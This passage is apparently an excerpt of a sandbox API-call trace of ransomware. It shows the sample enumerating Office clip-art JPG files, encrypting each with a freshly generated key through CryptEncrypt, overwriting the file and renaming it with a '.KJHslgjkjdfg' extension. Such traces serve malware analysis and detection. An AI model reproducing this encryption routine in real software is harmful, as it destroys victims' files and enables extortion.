liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.349] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0201.351] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.351] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.351] GetProcessHeap () returned 0x990000 [0201.351] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.351] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.351] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.351] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.351] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.352] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.352] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.352] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.352] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.352] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.352] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.352] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.352] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x81ab, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x81ab, lpOverlapped=0x0) returned 1 [0201.353] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x81b0, dwBufLen=0x81b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x81b0) returned 1 [0201.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.354] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x81b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x81b0, lpOverlapped=0x0) returned 1 [0201.354] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.354] SetEndOfFile (hFile=0x130) returned 1 [0201.357] GetProcessHeap () returned 0x990000 [0201.357] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.357] GetProcessHeap () returned 0x990000 [0201.357] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.357] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg.kjhslgjkjdfg")) returned 1 [0201.359] CloseHandle (hObject=0x130) returned 1 [0201.359] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d07fb00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d07fb00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xb9d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0313974.JPG", cAlternateFileName="")) returned 1 [0201.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.360] GetProcessHeap () returned 0x990000 [0201.360] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.360] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.360] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0201.363] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.363] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.363] GetProcessHeap () returned 0x990000 [0201.363] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.364] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.364] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.364] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.364] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.364] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.364] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.364] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.364] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.364] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.364] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.364] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.364] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb9d1, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb9d1, lpOverlapped=0x0) returned 1 [0201.366] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb9e0, dwBufLen=0xb9e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb9e0) returned 1 [0201.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.367] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb9e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb9e0, lpOverlapped=0x0) returned 1 [0201.367] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.367] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.367] SetEndOfFile (hFile=0x130) returned 1 [0201.369] GetProcessHeap () returned 0x990000 [0201.369] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.369] GetProcessHeap () returned 0x990000 [0201.369] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.369] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg.kjhslgjkjdfg")) returned 1 [0201.371] CloseHandle (hObject=0x130) returned 1 [0201.371] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2feb0c00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2feb0c00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x40f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0314068.JPG", cAlternateFileName="")) returned 1 [0201.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.373] GetProcessHeap () returned 0x990000 [0201.373] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.373] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.373] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.373] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0201.375] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.375] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.375] GetProcessHeap () returned 0x990000 [0201.375] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.375] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.375] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.375] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.376] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.376] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.376] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.376] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.376] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.376] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.376] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.376] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.376] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40f2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x40f2, lpOverlapped=0x0) returned 1 [0201.377] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4100, dwBufLen=0x4100 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4100) returned 1 [0201.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.378] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4100, lpOverlapped=0x0) returned 1 [0201.378] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x41d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.378] SetEndOfFile (hFile=0x130) returned 1 [0201.381] GetProcessHeap () returned 0x990000 [0201.381] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.381] GetProcessHeap () returned 0x990000 [0201.381] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.381] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg.kjhslgjkjdfg")) returned 1 [0201.382] CloseHandle (hObject=0x130) returned 1 [0201.382] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b02, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0315580.JPG", cAlternateFileName="")) returned 1 [0201.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.384] GetProcessHeap () returned 0x990000 [0201.384] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.384] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.384] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.384] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0201.386] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.386] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.386] GetProcessHeap () returned 0x990000 [0201.386] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.386] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.386] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.386] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.387] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.387] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.387] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.387] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.387] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.387] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.387] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.387] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.387] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4b02, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4b02, lpOverlapped=0x0) returned 1 [0201.391] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b10, dwBufLen=0x4b10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4b10) returned 1 [0201.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.391] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4b10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4b10, lpOverlapped=0x0) returned 1 [0201.391] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.391] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.392] SetEndOfFile (hFile=0x130) returned 1 [0201.393] GetProcessHeap () returned 0x990000 [0201.393] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.393] GetProcessHeap () returned 0x990000 [0201.393] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.393] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg.kjhslgjkjdfg")) returned 1 [0201.394] CloseHandle (hObject=0x130) returned 1 [0201.395] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x423a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0315612.JPG", cAlternateFileName="")) returned 1 [0201.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.396] GetProcessHeap () returned 0x990000 [0201.396] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.396] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.396] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.396] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0201.400] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.400] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.400] GetProcessHeap () returned 0x990000 [0201.400] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.400] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.400] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.400] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.400] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, 